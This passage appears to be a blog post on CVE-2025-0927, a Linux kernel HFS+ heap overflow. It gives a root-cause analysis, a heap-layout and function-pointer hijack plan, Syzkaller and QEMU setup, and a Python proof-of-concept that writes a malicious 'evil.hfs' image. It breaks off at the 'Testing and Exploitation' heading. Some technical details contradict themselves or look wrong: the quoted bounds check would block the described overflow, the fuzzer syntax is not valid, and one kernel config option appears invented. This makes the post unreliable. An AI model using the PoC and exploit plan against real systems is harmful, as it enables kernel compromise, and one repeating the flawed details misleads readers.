🚨 CVE-2025-0927: Deep Dive, Exploit Analysis, and PoC for Linux Kernel HFS+ Heap Overflow 💥🐛

⚠️ CVE Introduction

CVE-2025-0927 is a critical security vulnerability discovered in the Linux Kernel’s HFS+ file system implementation. This flaw allows an attacker to craft a malicious HFS+ file system image that, when mounted, triggers a heap overflow in kernel memory. The consequences include a denial-of-service (system crash) or, more dangerously, arbitrary code execution at kernel level—compromising system integrity and security. This vulnerability notably affects Ubuntu 22.04 among other distributions using this kernel version.

Due to its high severity and wide-reaching impact, understanding, fuzzing, and exploiting this vulnerability is vital for kernel developers and security researchers.

This blog post provides:

🔎 An in-depth technical analysis of the vulnerability
⚙️ The exploit mechanics and kernel internals
🐞 How to fuzz this bug with Syzkaller
🖥️ Setting up a QEMU virtual lab for heap layout simulation
🐍 A Python script to generate a malicious HFS+ image PoC
🛡️ Mitigation and defense recommendations

1. Vulnerability Overview 🔍

CVE: 2025-0927
Severity: High (7.8 CVSS) 🔥
Impact: Heap Overflow → Kernel crash or arbitrary code execution 💣
Affected: Linux kernel’s HFS+ file system (e.g., Ubuntu 22.04) 🐧

2. Deep Technical Analysis🛠️

What is HFS+? 🍏

HFS+ (Hierarchical File System Plus) is Apple's proprietary filesystem, supported in Linux for legacy reasons.

The Vulnerability Root Cause 🐞

The flaw lies in the hfs_bnode_read_key() function:

u16 key_len = be16_to_cpu(*(u16 *)(bnode->data));
if (key_len < MIN_KEYLEN || key_len > MAX_KEYLEN)
    return -EINVAL;
memcpy(fd->search_key, bnode->data + 2, key_len);

key_len is a 16-bit big-endian value indicating the length of a B-tree node key.
The function checks if key_len is within [MIN_KEYLEN, MAX_KEYLEN].
However, the buffer fd->search_key may not be sized properly.
An attacker-controlled image with an overly large key_len causes memcpy() to overflow into adjacent heap objects. 💥

Heap Corruption Impact 💣

Adjacent kernel objects get overwritten, potentially including function pointers.
This leads to control flow hijacking.
Exploit requires mounting a crafted HFS+ image. 🎯

3. Exploit Mechanics and Heap Layout 🧱

SLUB Heap Allocator ⚙️

Linux kernel uses SLUB allocator:

Kernel objects allocated in slabs by size.
Overflowing one object’s buffer corrupts the next.

Memory Layout Example

[ fd->search_key (512 bytes) ]  <-- Overflow here
[ work_struct (contains function ptr) ]

Corrupting work_struct’s function pointer enables arbitrary kernel code execution when the workqueue runs.

4. Fuzzing with Syzkaller 🐞

Why Syzkaller? 🎯

Powerful kernel syscall fuzzer.
Can automate triggering mount() syscall with crafted filesystem images.

r0 = syz_open_dev(dev, 0, 0)
mount(r0, 0x0, "hfsplus", 0, &mount_opts)
 
mount_opts {
    image_data = DATA_PTR
    flags = 0x0
    fstype = "hfsplus"
}

DATA_PTR points to a malformed HFS+ superblock blob.
Syzkaller will fuzz mount with this blob to find crashes. 🕵️‍♂️

5. Setting Up a QEMU Lab for Exploit Dev 🖥️⚙️

Prerequisites

Compile kernel with:

CONFIG_HFSPLUS_FS=y
CONFIG_KASAN=y (Kernel Address Sanitizer)
CONFIG_SLAB_CANARY=y

Boot kernel in QEMU with:

bash

qemu-system-x86_64 -kernel bzImage -append "console=ttyS0 root=/dev/sda earlyprintk=serial kasan=on" -hda rootfs.img -nographic -m 2G -smp 2 -enable-kvm

Heap Spraying 💣

Run commands to allocate multiple kernel objects for predictable heap layout.

6. Malicious HFS+ Image Generator PoC (Python) 🐍

python

import struct
 
def write_malformed_btree_node(f, offset=0x2000):
    key_len = 0x1000  # 4096 bytes, overflow
    node = struct.pack('>H', key_len)
    overflow_data = b"A" * key_len
    f.seek(offset)
    f.write(node + overflow_data)
    print(f"Written malicious node at offset {offset:#x} with key_len={key_len}")
 
def create_base_image(filename, size_mb=1):
    with open(filename, 'wb') as f:
        f.truncate(size_mb * 1024 * 1024)
    print(f"Created base image '{filename}' of size {size_mb}MB")
 
def patch_hfsplus_magic(f, offset=1024):
    f.seek(offset)
    f.write(b"H+")
    print(f"Patched HFS+ magic at offset {offset:#x}")
 
def generate_evil_hfsplus_image(filename='evil.hfs', size_mb=1):
    create_base_image(filename, size_mb)
    with open(filename, 'r+b') as f:
        patch_hfsplus_magic(f)
        write_malformed_btree_node(f)
 
if __name__ == "__main__":
    generate_evil_hfsplus_image()

Generates a 1MB HFS+ image with a malformed B-tree node triggering overflow. 💥

7. Testing and Exploitation 🚀